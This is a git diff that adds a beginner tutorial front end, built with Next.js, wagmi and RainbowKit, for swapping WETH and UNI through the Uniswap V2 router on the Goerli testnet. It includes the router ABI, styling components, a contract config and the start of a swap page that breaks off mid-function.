diff --git a/basic/59-wagmi-and-nextjs/uniswap-v2-interface-wagmi/.env.example b/basic/59-wagmi-and-nextjs/uniswap-v2-interface-wagmi/.env.example
new file mode 100644
index 000000000..a8d5b356d
--- /dev/null
+++ b/basic/59-wagmi-and-nextjs/uniswap-v2-interface-wagmi/.env.example
@@ -0,0 +1 @@
+ALCHEMY_ID=XXX
diff --git a/basic/59-wagmi-and-nextjs/uniswap-v2-interface-wagmi/.gitignore b/basic/59-wagmi-and-nextjs/uniswap-v2-interface-wagmi/.gitignore
new file mode 100644
index 000000000..c87c9b392
--- /dev/null
+++ b/basic/59-wagmi-and-nextjs/uniswap-v2-interface-wagmi/.gitignore
@@ -0,0 +1,36 @@
+# See https://help.github.com/articles/ignoring-files/ for more about ignoring files.
+
+# dependencies
+/node_modules
+/.pnp
+.pnp.js
+
+# testing
+/coverage
+
+# next.js
+/.next/
+/out/
+
+# production
+/build
+
+# misc
+.DS_Store
+*.pem
+
+# debug
+npm-debug.log*
+yarn-debug.log*
+yarn-error.log*
+.pnpm-debug.log*
+
+# local env files
+.env*.local
+
+# vercel
+.vercel
+
+# typescript
+*.tsbuildinfo
+next-env.d.ts
diff --git a/basic/59-wagmi-and-nextjs/uniswap-v2-interface-wagmi/abi/UniswapRouter2ABI.json b/basic/59-wagmi-and-nextjs/uniswap-v2-interface-wagmi/abi/UniswapRouter2ABI.json
new file mode 100644
index 000000000..4a4d8b423
--- /dev/null
+++ b/basic/59-wagmi-and-nextjs/uniswap-v2-interface-wagmi/abi/UniswapRouter2ABI.json
@@ -0,0 +1,340 @@
+[
+  {
+    "inputs": [
+      { "internalType": "address", "name": "_factory", "type": "address" },
+      { "internalType": "address", "name": "_WETH", "type": "address" }
+    ],
+    "stateMutability": "nonpayable",
+    "type": "constructor"
+  },
+  {
+    "inputs": [],
+    "name": "WETH",
+    "outputs": [{ "internalType": "address", "name": "", "type": "address" }],
+    "stateMutability": "view",
+    "type": "function"
+  },
+  {
+    "inputs": [
+      { "internalType": "address", "name": "tokenA", "type": "address" },
+      { "internalType": "address", "name": "tokenB", "type": "address" },
+      { "internalType": "uint256", "name": "amountADesired", "type": "uint256" },
+      { "internalType": "uint256", "name": "amountBDesired", "type": "uint256" },
+      { "internalType": "uint256", "name": "amountAMin", "type": "uint256" },
+      { "internalType": "uint256", "name": "amountBMin", "type": "uint256" },
+      { "internalType": "address", "name": "to", "type": "address" },
+      { "internalType": "uint256", "name": "deadline", "type": "uint256" }
+    ],
+    "name": "addLiquidity",
+    "outputs": [
+      { "internalType": "uint256", "name": "amountA", "type": "uint256" },
+      { "internalType": "uint256", "name": "amountB", "type": "uint256" },
+      { "internalType": "uint256", "name": "liquidity", "type": "uint256" }
+    ],
+    "stateMutability": "nonpayable",
+    "type": "function"
+  },
+  {
+    "inputs": [
+      { "internalType": "address", "name": "token", "type": "address" },
+      { "internalType": "uint256", "name": "amountTokenDesired", "type": "uint256" },
+      { "internalType": "uint256", "name": "amountTokenMin", "type": "uint256" },
+      { "internalType": "uint256", "name": "amountETHMin", "type": "uint256" },
+      { "internalType": "address", "name": "to", "type": "address" },
+      { "internalType": "uint256", "name": "deadline", "type": "uint256" }
+    ],
+    "name": "addLiquidityETH",
+    "outputs": [
+      { "internalType": "uint256", "name": "amountToken", "type": "uint256" },
+      { "internalType": "uint256", "name": "amountETH", "type": "uint256" },
+      { "internalType": "uint256", "name": "liquidity", "type": "uint256" }
+    ],
+    "stateMutability": "payable",
+    "type": "function"
+  },
+  {
+    "inputs": [],
+    "name": "factory",
+    "outputs": [{ "internalType": "address", "name": "", "type": "address" }],
+    "stateMutability": "view",
+    "type": "function"
+  },
+  {
+    "inputs": [
+      { "internalType": "uint256", "name": "amountOut", "type": "uint256" },
+      { "internalType": "uint256", "name": "reserveIn", "type": "uint256" },
+      { "internalType": "uint256", "name": "reserveOut", "type": "uint256" }
+    ],
+    "name": "getAmountIn",
+    "outputs": [{ "internalType": "uint256", "name": "amountIn", "type": "uint256" }],
+    "stateMutability": "pure",
+    "type": "function"
+  },
+  {
+    "inputs": [
+      { "internalType": "uint256", "name": "amountIn", "type": "uint256" },
+      { "internalType": "uint256", "name": "reserveIn", "type": "uint256" },
+      { "internalType": "uint256", "name": "reserveOut", "type": "uint256" }
+    ],
+    "name": "getAmountOut",
+    "outputs": [{ "internalType": "uint256", "name": "amountOut", "type": "uint256" }],
+    "stateMutability": "pure",
+    "type": "function"
+  },
+  {
+    "inputs": [
+      { "internalType": "uint256", "name": "amountOut", "type": "uint256" },
+      { "internalType": "address[]", "name": "path", "type": "address[]" }
+    ],
+    "name": "getAmountsIn",
+    "outputs": [{ "internalType": "uint256[]", "name": "amounts", "type": "uint256[]" }],
+    "stateMutability": "view",
+    "type": "function"
+  },
+  {
+    "inputs": [
+      { "internalType": "uint256", "name": "amountIn", "type": "uint256" },
+      { "internalType": "address[]", "name": "path", "type": "address[]" }
+    ],
+    "name": "getAmountsOut",
+    "outputs": [{ "internalType": "uint256[]", "name": "amounts", "type": "uint256[]" }],
+    "stateMutability": "view",
+    "type": "function"
+  },
+  {
+    "inputs": [
+      { "internalType": "uint256", "name": "amountA", "type": "uint256" },
+      { "internalType": "uint256", "name": "reserveA", "type": "uint256" },
+      { "internalType": "uint256", "name": "reserveB", "type": "uint256" }
+    ],
+    "name": "quote",
+    "outputs": [{ "internalType": "uint256", "name": "amountB", "type": "uint256" }],
+    "stateMutability": "pure",
+    "type": "function"
+  },
+  {
+    "inputs": [
+      { "internalType": "address", "name": "tokenA", "type": "address" },
+      { "internalType": "address", "name": "tokenB", "type": "address" },
+      { "internalType": "uint256", "name": "liquidity", "type": "uint256" },
+      { "internalType": "uint256", "name": "amountAMin", "type": "uint256" },
+      { "internalType": "uint256", "name": "amountBMin", "type": "uint256" },
+      { "internalType": "address", "name": "to", "type": "address" },
+      { "internalType": "uint256", "name": "deadline", "type": "uint256" }
+    ],
+    "name": "removeLiquidity",
+    "outputs": [
+      { "internalType": "uint256", "name": "amountA", "type": "uint256" },
+      { "internalType": "uint256", "name": "amountB", "type": "uint256" }
+    ],
+    "stateMutability": "nonpayable",
+    "type": "function"
+  },
+  {
+    "inputs": [
+      { "internalType": "address", "name": "token", "type": "address" },
+      { "internalType": "uint256", "name": "liquidity", "type": "uint256" },
+      { "internalType": "uint256", "name": "amountTokenMin", "type": "uint256" },
+      { "internalType": "uint256", "name": "amountETHMin", "type": "uint256" },
+      { "internalType": "address", "name": "to", "type": "address" },
+      { "internalType": "uint256", "name": "deadline", "type": "uint256" }
+    ],
+    "name": "removeLiquidityETH",
+    "outputs": [
+      { "internalType": "uint256", "name": "amountToken", "type": "uint256" },
+      { "internalType": "uint256", "name": "amountETH", "type": "uint256" }
+    ],
+    "stateMutability": "nonpayable",
+    "type": "function"
+  },
+  {
+    "inputs": [
+      { "internalType": "address", "name": "token", "type": "address" },
+      { "internalType": "uint256", "name": "liquidity", "type": "uint256" },
+      { "internalType": "uint256", "name": "amountTokenMin", "type": "uint256" },
+      { "internalType": "uint256", "name": "amountETHMin", "type": "uint256" },
+      { "internalType": "address", "name": "to", "type": "address" },
+      { "internalType": "uint256", "name": "deadline", "type": "uint256" }
+    ],
+    "name": "removeLiquidityETHSupportingFeeOnTransferTokens",
+    "outputs": [{ "internalType": "uint256", "name": "amountETH", "type": "uint256" }],
+    "stateMutability": "nonpayable",
+    "type": "function"
+  },
+  {
+    "inputs": [
+      { "internalType": "address", "name": "token", "type": "address" },
+      { "internalType": "uint256", "name": "liquidity", "type": "uint256" },
+      { "internalType": "uint256", "name": "amountTokenMin", "type": "uint256" },
+      { "internalType": "uint256", "name": "amountETHMin", "type": "uint256" },
+      { "internalType": "address", "name": "to", "type": "address" },
+      { "internalType": "uint256", "name": "deadline", "type": "uint256" },
+      { "internalType": "bool", "name": "approveMax", "type": "bool" },
+      { "internalType": "uint8", "name": "v", "type": "uint8" },
+      { "internalType": "bytes32", "name": "r", "type": "bytes32" },
+      { "internalType": "bytes32", "name": "s", "type": "bytes32" }
+    ],
+    "name": "removeLiquidityETHWithPermit",
+    "outputs": [
+      { "internalType": "uint256", "name": "amountToken", "type": "uint256" },
+      { "internalType": "uint256", "name": "amountETH", "type": "uint256" }
+    ],
+    "stateMutability": "nonpayable",
+    "type": "function"
+  },
+  {
+    "inputs": [
+      { "internalType": "address", "name": "token", "type": "address" },
+      { "internalType": "uint256", "name": "liquidity", "type": "uint256" },
+      { "internalType": "uint256", "name": "amountTokenMin", "type": "uint256" },
+      { "internalType": "uint256", "name": "amountETHMin", "type": "uint256" },
+      { "internalType": "address", "name": "to", "type": "address" },
+      { "internalType": "uint256", "name": "deadline", "type": "uint256" },
+      { "internalType": "bool", "name": "approveMax", "type": "bool" },
+      { "internalType": "uint8", "name": "v", "type": "uint8" },
+      { "internalType": "bytes32", "name": "r", "type": "bytes32" },
+      { "internalType": "bytes32", "name": "s", "type": "bytes32" }
+    ],
+    "name": "removeLiquidityETHWithPermitSupportingFeeOnTransferTokens",
+    "outputs": [{ "internalType": "uint256", "name": "amountETH", "type": "uint256" }],
+    "stateMutability": "nonpayable",
+    "type": "function"
+  },
+  {
+    "inputs": [
+      { "internalType": "address", "name": "tokenA", "type": "address" },
+      { "internalType": "address", "name": "tokenB", "type": "address" },
+      { "internalType": "uint256", "name": "liquidity", "type": "uint256" },
+      { "internalType": "uint256", "name": "amountAMin", "type": "uint256" },
+      { "internalType": "uint256", "name": "amountBMin", "type": "uint256" },
+      { "internalType": "address", "name": "to", "type": "address" },
+      { "internalType": "uint256", "name": "deadline", "type": "uint256" },
+      { "internalType": "bool", "name": "approveMax", "type": "bool" },
+      { "internalType": "uint8", "name": "v", "type": "uint8" },
+      { "internalType": "bytes32", "name": "r", "type": "bytes32" },
+      { "internalType": "bytes32", "name": "s", "type": "bytes32" }
+    ],
+    "name": "removeLiquidityWithPermit",
+    "outputs": [
+      { "internalType": "uint256", "name": "amountA", "type": "uint256" },
+      { "internalType": "uint256", "name": "amountB", "type": "uint256" }
+    ],
+    "stateMutability": "nonpayable",
+    "type": "function"
+  },
+  {
+    "inputs": [
+      { "internalType": "uint256", "name": "amountOut", "type": "uint256" },
+      { "internalType": "address[]", "name": "path", "type": "address[]" },
+      { "internalType": "address", "name": "to", "type": "address" },
+      { "internalType": "uint256", "name": "deadline", "type": "uint256" }
+    ],
+    "name": "swapETHForExactTokens",
+    "outputs": [{ "internalType": "uint256[]", "name": "amounts", "type": "uint256[]" }],
+    "stateMutability": "payable",
+    "type": "function"
+  },
+  {
+    "inputs": [
+      { "internalType": "uint256", "name": "amountOutMin", "type": "uint256" },
+      { "internalType": "address[]", "name": "path", "type": "address[]" },
+      { "internalType": "address", "name": "to", "type": "address" },
+      { "internalType": "uint256", "name": "deadline", "type": "uint256" }
+    ],
+    "name": "swapExactETHForTokens",
+    "outputs": [{ "internalType": "uint256[]", "name": "amounts", "type": "uint256[]" }],
+    "stateMutability": "payable",
+    "type": "function"
+  },
+  {
+    "inputs": [
+      { "internalType": "uint256", "name": "amountOutMin", "type": "uint256" },
+      { "internalType": "address[]", "name": "path", "type": "address[]" },
+      { "internalType": "address", "name": "to", "type": "address" },
+      { "internalType": "uint256", "name": "deadline", "type": "uint256" }
+    ],
+    "name": "swapExactETHForTokensSupportingFeeOnTransferTokens",
+    "outputs": [],
+    "stateMutability": "payable",
+    "type": "function"
+  },
+  {
+    "inputs": [
+      { "internalType": "uint256", "name": "amountIn", "type": "uint256" },
+      { "internalType": "uint256", "name": "amountOutMin", "type": "uint256" },
+      { "internalType": "address[]", "name": "path", "type": "address[]" },
+      { "internalType": "address", "name": "to", "type": "address" },
+      { "internalType": "uint256", "name": "deadline", "type": "uint256" }
+    ],
+    "name": "swapExactTokensForETH",
+    "outputs": [{ "internalType": "uint256[]", "name": "amounts", "type": "uint256[]" }],
+    "stateMutability": "nonpayable",
+    "type": "function"
+  },
+  {
+    "inputs": [
+      { "internalType": "uint256", "name": "amountIn", "type": "uint256" },
+      { "internalType": "uint256", "name": "amountOutMin", "type": "uint256" },
+      { "internalType": "address[]", "name": "path", "type": "address[]" },
+      { "internalType": "address", "name": "to", "type": "address" },
+      { "internalType": "uint256", "name": "deadline", "type": "uint256" }
+    ],
+    "name": "swapExactTokensForETHSupportingFeeOnTransferTokens",
+    "outputs": [],
+    "stateMutability": "nonpayable",
+    "type": "function"
+  },
+  {
+    "inputs": [
+      { "internalType": "uint256", "name": "amountIn", "type": "uint256" },
+      { "internalType": "uint256", "name": "amountOutMin", "type": "uint256" },
+      { "internalType": "address[]", "name": "path", "type": "address[]" },
+      { "internalType": "address", "name": "to", "type": "address" },
+      { "internalType": "uint256", "name": "deadline", "type": "uint256" }
+    ],
+    "name": "swapExactTokensForTokens",
+    "outputs": [{ "internalType": "uint256[]", "name": "amounts", "type": "uint256[]" }],
+    "stateMutability": "nonpayable",
+    "type": "function"
+  },
+  {
+    "inputs": [
+      { "internalType": "uint256", "name": "amountIn", "type": "uint256" },
+      { "internalType": "uint256", "name": "amountOutMin", "type": "uint256" },
+      { "internalType": "address[]", "name": "path", "type": "address[]" },
+      { "internalType": "address", "name": "to", "type": "address" },
+      { "internalType": "uint256", "name": "deadline", "type": "uint256" }
+    ],
+    "name": "swapExactTokensForTokensSupportingFeeOnTransferTokens",
+    "outputs": [],
+    "stateMutability": "nonpayable",
+    "type": "function"
+  },
+  {
+    "inputs": [
+      { "internalType": "uint256", "name": "amountOut", "type": "uint256" },
+      { "internalType": "uint256", "name": "amountInMax", "type": "uint256" },
+      { "internalType": "address[]", "name": "path", "type": "address[]" },
+      { "internalType": "address", "name": "to", "type": "address" },
+      { "internalType": "uint256", "name": "deadline", "type": "uint256" }
+    ],
+    "name": "swapTokensForExactETH",
+    "outputs": [{ "internalType": "uint256[]", "name": "amounts", "type": "uint256[]" }],
+    "stateMutability": "nonpayable",
+    "type": "function"
+  },
+  {
+    "inputs": [
+      { "internalType": "uint256", "name": "amountOut", "type": "uint256" },
+      { "internalType": "uint256", "name": "amountInMax", "type": "uint256" },
+      { "internalType": "address[]", "name": "path", "type": "address[]" },
+      { "internalType": "address", "name": "to", "type": "address" },
+      { "internalType": "uint256", "name": "deadline", "type": "uint256" }
+    ],
+    "name": "swapTokensForExactTokens",
+    "outputs": [{ "internalType": "uint256[]", "name": "amounts", "type": "uint256[]" }],
+    "stateMutability": "nonpayable",
+    "type": "function"
+  },
+  { "stateMutability": "payable", "type": "receive" }
+]
diff --git a/basic/59-wagmi-and-nextjs/uniswap-v2-interface-wagmi/components/cards.tsx b/basic/59-wagmi-and-nextjs/uniswap-v2-interface-wagmi/components/cards.tsx
new file mode 100644
index 000000000..2d56a08ae
--- /dev/null
+++ b/basic/59-wagmi-and-nextjs/uniswap-v2-interface-wagmi/components/cards.tsx
@@ -0,0 +1,55 @@
+import styled from 'styled-components';
+import Link from 'next/link';
+
+export const FlexContainer = styled.div`
+  display: flex;
+  align-items: center;
+  justify-content: center;
+  flex-flow: column wrap;
+  max-width: 800px;
+  margin-top: 3rem;
+`;
+
+export const Card = styled.div`
+  padding: 1.5rem;
+  color: inherit;
+  text-decoration: none;
+  border: 1px solid black;
+  border-radius: 10px;
+  transition: color 0.15s ease, border-color 0.15s ease;
+  width: 100%;
+
+  &:hover,
+  :focus,
+  :active {
+    color: #0070f3;
+    border-color: #0070f3;
+  }
+`;
+
+const StyledA = styled.a`
+  margin: 0 0 1rem 0;
+  font-size: 1.5rem;
+`;
+
+const StyledLink = ({ href, name }) => (
+  <Link href={href} passHref>
+    <StyledA>{name}&rarr;</StyledA>
+  </Link>
+);
+
+interface PageProp {
+  href: string;
+  name: string;
+}
+export default function Cards(props: { pages: PageProp[] }) {
+  return (
+    <FlexContainer>
+      <Card>
+        {props.pages.map((item, index) => (
+          <StyledLink key={index} href={item.href} name={`${item.name}`} />
+        ))}
+      </Card>
+    </FlexContainer>
+  );
+}
diff --git a/basic/59-wagmi-and-nextjs/uniswap-v2-interface-wagmi/components/globalstyles.tsx b/basic/59-wagmi-and-nextjs/uniswap-v2-interface-wagmi/components/globalstyles.tsx
new file mode 100644
index 000000000..fe4043d68
--- /dev/null
+++ b/basic/59-wagmi-and-nextjs/uniswap-v2-interface-wagmi/components/globalstyles.tsx
@@ -0,0 +1,23 @@
+import { createGlobalStyle } from 'styled-components'
+
+const GlobalStyle = createGlobalStyle`
+  html,
+  body {
+    color: ${({ theme }) => theme.colors.primary};
+    padding: 0;
+    margin: 0;
+    font-family: -apple-system, BlinkMacSystemFont, Segoe UI, Roboto, Oxygen,
+      Ubuntu, Cantarell, Fira Sans, Droid Sans, Helvetica Neue, sans-serif;
+  }
+
+  a {
+    color: inherit;
+    text-decoration: none;
+  }
+
+  * {
+    box-sizing: border-box;
+  }
+`
+
+export default GlobalStyle
diff --git a/basic/59-wagmi-and-nextjs/uniswap-v2-interface-wagmi/components/sharedstyles.tsx b/basic/59-wagmi-and-nextjs/uniswap-v2-interface-wagmi/components/sharedstyles.tsx
new file mode 100644
index 000000000..0ba8784bd
--- /dev/null
+++ b/basic/59-wagmi-and-nextjs/uniswap-v2-interface-wagmi/components/sharedstyles.tsx
@@ -0,0 +1,186 @@
+import styled from 'styled-components'
+
+const Container = styled.div`
+  padding: 0 0.5rem;
+  display: flex;
+  flex-flow: column nowrap;
+  justify-content: center;
+  align-items: center;
+  height: 100vh;
+  min-height: 100vh;
+`
+const Main = styled.main`
+  padding: 5rem 0;
+  flex: 1;
+  display: flex;
+  flex-direction: column;
+  justify-content: center;
+  align-items: center;
+`
+
+const Title = styled.h1`
+  margin: 0;
+  line-height: 1.15;
+  font-size: 4rem;
+  text-align: center;
+  text-decoration: none;
+
+  a {
+    color: ${({ theme }) => theme.colors.secondary};
+    text-decoration: none;
+    &:hover,
+    :focus,
+    :active {
+      text-decoration: underline;
+    }
+  }
+`
+
+const Description = styled.p`
+  text-align: center;
+  line-height: 1.5;
+  font-size: 1.5rem;
+`
+const CodeTag = styled.code`
+  background: #fafafa;
+  border-radius: 5px;
+  margin: 0 0.75rem;
+  padding: 0.75rem;
+  font-size: 1.1rem;
+  font-family: Menlo, Monaco, Lucida Console, Liberation Mono, DejaVu Sans Mono,
+    Bitstream Vera Sans Mono, Courier New, monospace;
+`
+
+
+const SwapBox = styled.div`
+  display: flex;
+  width: 100%;
+`;
+const TokenList = styled.div`
+  flex: 1;
+  padding: 16px;
+  min-width: 200px;
+
+  label {
+    padding: 16px;
+    display: block;
+    font-size: 16px;
+    font-weight: bold;
+    cursor: pointer;
+  }
+
+  input[type="text"] {
+    margin: 16px 0;
+    padding: 8px;
+    max-width: 90%;
+    height: 28px;
+    line-height: 28px;
+    font-size: 24px;
+  }
+`;
+const RainbowButton = styled.button`
+  cursor: pointer;
+  display: flex;
+  justify-content: center;
+  margin: 0 auto 1rem;
+  font-size: 1.2rem;
+  height: 3.4rem;
+  line-height: 1.6rem;
+  letter-spacing: 0.1rem;
+  padding: 0.8rem 1.8rem;
+  text-align: center;
+  text-decoration: none;
+  white-space: nowrap;
+  position: relative;
+  z-index: 0;
+  color: rgb(255, 255, 255);
+  border-color: transparent;
+  width: 50%;
+  max-width: 500px;
+  border-radius: 0.8rem;
+
+  ::before {
+    content: "";
+    position: absolute;
+    z-index: -1;
+    top: 0;
+    left: 0;
+    width: 100%;
+    height: 100%;
+    opacity: 1;
+    background: linear-gradient(
+        45deg,
+        rgb(255, 0, 0),
+        rgb(255, 115, 0),
+        rgb(255, 251, 0),
+        rgb(72, 255, 0),
+        rgb(0, 255, 213),
+        rgb(0, 43, 255),
+        rgb(122, 0, 255),
+        rgb(255, 0, 200),
+        rgb(255, 0, 0)
+      )
+      0% 0% / 400%;
+    animation: 10s linear 0s infinite normal none running moving;
+    transition: opacity 0.3s ease-in-out 0s;
+    border-radius: 0.8rem;
+  }
+
+  ::after {
+    z-index: -1;
+    content: "";
+    position: absolute;
+    width: 100%;
+    height: 100%;
+    background: rgb(17, 17, 17);
+    left: 0px;
+    top: 0px;
+    border-radius: 0.8rem;
+  }
+
+  :active {
+    color: rgb(0, 0, 0);
+  }
+
+  :active::after {
+    background: transparent;
+  }
+
+  &.rainbow::before {
+    filter: blur(5px);
+    top: -2px;
+    left: -2px;
+    width: calc(100% + 4px);
+    height: calc(100% + 4px);
+  }
+
+  &.rainbow::after {
+  }
+
+  @keyframes moving {
+    0% {
+      background-position-x: 0%;
+    }
+    50% {
+      background-position-x: 100%;
+    }
+    100% {
+      background-position-x: 0%;
+    }
+  }
+
+  &[disabled] {
+    color: rgb(200, 200, 200);
+  }
+  &[disabled]:active::after {
+    background: rgb(17, 17, 17);
+  }
+
+  @media screen and (max-width: 1280px}) {
+    max-width: none;
+    font-size: 1rem;
+    width: 100%;
+  }
+`
+
+export { Container, Main, Title, Description, CodeTag, SwapBox, TokenList, RainbowButton }
diff --git a/basic/59-wagmi-and-nextjs/uniswap-v2-interface-wagmi/config/contractsConfig.ts b/basic/59-wagmi-and-nextjs/uniswap-v2-interface-wagmi/config/contractsConfig.ts
new file mode 100644
index 000000000..c410d80c2
--- /dev/null
+++ b/basic/59-wagmi-and-nextjs/uniswap-v2-interface-wagmi/config/contractsConfig.ts
@@ -0,0 +1,22 @@
+// goerli testnet
+
+import { erc20ABI } from 'wagmi'
+
+import UniswapRouter2ABI from "../abi/UniswapRouter2ABI.json";
+
+export const ROUTER2_ADDRESS = '0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D';
+export const WETH_ADDRESS = '0xB4FBF271143F4FBf7B91A5ded31805e42b2208d6';
+export const UNI_ADDRESS = '0x1f9840a85d5aF5bf1D1762F925BDADdC4201F984'
+
+export const router2ContractConfig = {
+  address: ROUTER2_ADDRESS,
+  abi: UniswapRouter2ABI,
+};
+export const wethContractConfig = {
+  address: WETH_ADDRESS,
+  abi: erc20ABI,
+}
+export const uniContractConfig = {
+  address: UNI_ADDRESS,
+  abi: erc20ABI,
+}
\ No newline at end of file
diff --git a/basic/59-wagmi-and-nextjs/uniswap-v2-interface-wagmi/next.config.js b/basic/59-wagmi-and-nextjs/uniswap-v2-interface-wagmi/next.config.js
new file mode 100644
index 000000000..52503c261
--- /dev/null
+++ b/basic/59-wagmi-and-nextjs/uniswap-v2-interface-wagmi/next.config.js
@@ -0,0 +1,10 @@
+/** @type {import('next').NextConfig} */
+
+const nextConfig = {
+  reactStrictMode: true,
+  compiler: {
+    styledComponents: true,
+  },
+}
+
+module.exports = nextConfig
diff --git a/basic/59-wagmi-and-nextjs/uniswap-v2-interface-wagmi/package.json b/basic/59-wagmi-and-nextjs/uniswap-v2-interface-wagmi/package.json
new file mode 100644
index 000000000..eaa495686
--- /dev/null
+++ b/basic/59-wagmi-and-nextjs/uniswap-v2-interface-wagmi/package.json
@@ -0,0 +1,24 @@
+{
+  "scripts": {
+    "dev": "next",
+    "build": "next build",
+    "start": "next start"
+  },
+  "dependencies": {
+    "@rainbow-me/rainbowkit": "^0.7.1",
+    "ethers": "^5.7.1",
+    "next": "latest",
+    "react": "^18.2.0",
+    "react-dom": "^18.2.0",
+    "react-toastify": "^9.0.8",
+    "styled-components": "^5.3.5",
+    "wagmi": "^0.7.5"
+  },
+  "devDependencies": {
+    "@types/node": "^18.0.0",
+    "@types/react": "^18.0.14",
+    "@types/react-dom": "^18.0.5",
+    "@types/styled-components": "^5.1.25",
+    "typescript": "^4.7.4"
+  }
+}
diff --git a/basic/59-wagmi-and-nextjs/uniswap-v2-interface-wagmi/pages/_app.tsx b/basic/59-wagmi-and-nextjs/uniswap-v2-interface-wagmi/pages/_app.tsx
new file mode 100644
index 000000000..b408dae60
--- /dev/null
+++ b/basic/59-wagmi-and-nextjs/uniswap-v2-interface-wagmi/pages/_app.tsx
@@ -0,0 +1,52 @@
+import { getDefaultWallets, RainbowKitProvider } from '@rainbow-me/rainbowkit';
+import { chain, configureChains, createClient, WagmiConfig } from 'wagmi';
+import { alchemyProvider } from 'wagmi/providers/alchemy';
+import { publicProvider } from 'wagmi/providers/public';
+import type { AppProps } from 'next/app';
+import { ThemeProvider, DefaultTheme } from 'styled-components';
+import { ToastContainer } from 'react-toastify';
+import GlobalStyle from '../components/globalstyles';
+import '@rainbow-me/rainbowkit/styles.css';
+import 'react-toastify/dist/ReactToastify.css';
+
+const theme: DefaultTheme = {
+  colors: {
+    primary: '#111',
+    secondary: '#0070f3',
+  },
+};
+
+const { chains, provider } = configureChains(
+  [chain.goerli],
+  [
+    alchemyProvider({ apiKey: process.env.ALCHEMY_ID }),
+    publicProvider()
+  ]
+);
+
+const { connectors } = getDefaultWallets({
+  appName: 'UniswapV2 Interface wagmi',
+  chains
+});
+
+const wagmiClient = createClient({
+  autoConnect: true,
+  connectors,
+  provider
+})
+
+export default function App({ Component, pageProps }: AppProps) {
+  return (
+    <>
+      <ThemeProvider theme={theme}>
+        <WagmiConfig client={wagmiClient}>
+          <RainbowKitProvider chains={chains}>
+            <GlobalStyle />
+            <ToastContainer />
+            <Component {...pageProps} />
+          </RainbowKitProvider>
+        </WagmiConfig>
+      </ThemeProvider>
+    </>
+  );
+}
diff --git a/basic/59-wagmi-and-nextjs/uniswap-v2-interface-wagmi/pages/_document.tsx b/basic/59-wagmi-and-nextjs/uniswap-v2-interface-wagmi/pages/_document.tsx
new file mode 100644
index 000000000..cb2a97b43
--- /dev/null
+++ b/basic/59-wagmi-and-nextjs/uniswap-v2-interface-wagmi/pages/_document.tsx
@@ -0,0 +1,25 @@
+import Document, { DocumentContext } from 'next/document'
+import { ServerStyleSheet } from 'styled-components'
+
+export default class MyDocument extends Document {
+  static async getInitialProps(ctx: DocumentContext) {
+    const sheet = new ServerStyleSheet()
+    const originalRenderPage = ctx.renderPage
+
+    try {
+      ctx.renderPage = () =>
+        originalRenderPage({
+          enhanceApp: (App) => (props) =>
+            sheet.collectStyles(<App {...props} />),
+        })
+
+      const initialProps = await Document.getInitialProps(ctx)
+      return {
+        ...initialProps,
+        styles: [initialProps.styles, sheet.getStyleElement()],
+      }
+    } finally {
+      sheet.seal()
+    }
+  }
+}
diff --git a/basic/59-wagmi-and-nextjs/uniswap-v2-interface-wagmi/pages/index.tsx b/basic/59-wagmi-and-nextjs/uniswap-v2-interface-wagmi/pages/index.tsx
new file mode 100644
index 000000000..893ab75b0
--- /dev/null
+++ b/basic/59-wagmi-and-nextjs/uniswap-v2-interface-wagmi/pages/index.tsx
@@ -0,0 +1,35 @@
+import Head from 'next/head'
+import Cards from '../components/cards'
+import {
+  Container,
+  Main,
+  Title,
+  Description,
+  CodeTag,
+} from '../components/sharedstyles'
+
+export default function Home() {
+  return (
+    <Container>
+      <Head>
+        <title>UniswapV2 Interface</title>
+        <meta name="description" content="UniswapV2 Interface with wagmi and nextjs" />
+        <link rel="icon" href="/favicon.ico" />
+      </Head>
+      <Main>
+        <Title>
+          UniswapV2
+        </Title>
+
+        <Description>
+          A simple Interface with wagmi and nextjs of UniswapV2.
+        </Description>
+        
+        <Cards pages={[
+          {href: '/swap', name: 'Swap page'}
+        ]} />
+      </Main>
+    </Container>
+  )
+}
+
diff --git a/basic/59-wagmi-and-nextjs/uniswap-v2-interface-wagmi/pages/swap.tsx b/basic/59-wagmi-and-nextjs/uniswap-v2-interface-wagmi/pages/swap.tsx
new file mode 100644
index 000000000..c6ae09fe5
--- /dev/null
+++ b/basic/59-wagmi-and-nextjs/uniswap-v2-interface-wagmi/pages/swap.tsx
@@ -0,0 +1,276 @@
+import Link from 'next/link';
+import { Container, Main, Title, Description, SwapBox, TokenList, RainbowButton } from '../components/sharedstyles';
+import { ConnectButton } from '@rainbow-me/rainbowkit';
+import { useAddRecentTransaction } from '@rainbow-me/rainbowkit';
+import { ChangeEvent, MouseEventHandler, useEffect, useRef, useState } from 'react';
+import { usePrepareContractWrite, useContractWrite, useContractRead, useAccount } from 'wagmi';
+import { toast, Id } from 'react-toastify';
+import { BigNumber, constants } from 'ethers';
+import { router2ContractConfig, wethContractConfig, uniContractConfig } from '../config/contractsConfig';
+import { formatEther, parseEther } from 'ethers/lib/utils';
+import 'react-toastify/dist/ReactToastify.css';
+
+const expiredTime = Number(new Date()) + 60 * 60 * 10
+
+const tokens = [
+  { name: 'WETH', config: wethContractConfig },
+  { name: 'Uni', config: uniContractConfig },
+];
+export default function Swap() {
+  const [inputIndex, setInputIndex] = useState(0);
+  const [outputIndex, setOutputIndex] = useState(1);
+  const [inputAmount, setInputAmount] = useState<BigNumber>(BigNumber.from("0"));
+  const [outputAmount, setOutputAmount] = useState<BigNumber>(BigNumber.from("0"));
+
+  const { isLoading: getAmountsOutLoading, refetch: getAmountsOutRefetch } = useContractRead({
+    // fetch router2.getAmountsOut get output amount
+    // function getAmountsOut(uint amountIn, address[] memory path) public view returns (uint[] memory amounts);
+    ...router2ContractConfig,
+    functionName: "getAmountsOut",
+    args: [
+      inputAmount,
+      [
+        tokens[inputIndex].config.address,
+        tokens[outputIndex].config.address,
+      ]
+    ],
+    // trigger condition: input and output are different token && inputAmount > 0
+    enabled: inputIndex !== outputIndex && inputAmount.gt(BigNumber.from("0")),
+    onSuccess(data: BigNumber[]) {
+      if (data && data[1]) setOutputAmount(data[1])
+    },
+    onError(err) {
+      toast.error(JSON.stringify(err))
+    }
+  });
+
+
+  // get user address from wagmi hook useAccount
+  const { address, isConnected } = useAccount();
+  const [isApproved, setIsApproved] = useState(false);
+
+  const { isLoading: allowanceLoading, refetch: allowanceRefetch } = useContractRead({
+    // fetch outputToken.allowance
+    // function allowance(address account, address spender) public view returns (uint);
+    address: tokens[inputIndex].config.address,
+    abi: tokens[inputIndex].config.abi,
+    functionName: "allowance",
+    enabled: isConnected,
+    args: [address, router2ContractConfig.address],
+    onSuccess(data: BigNumber) {
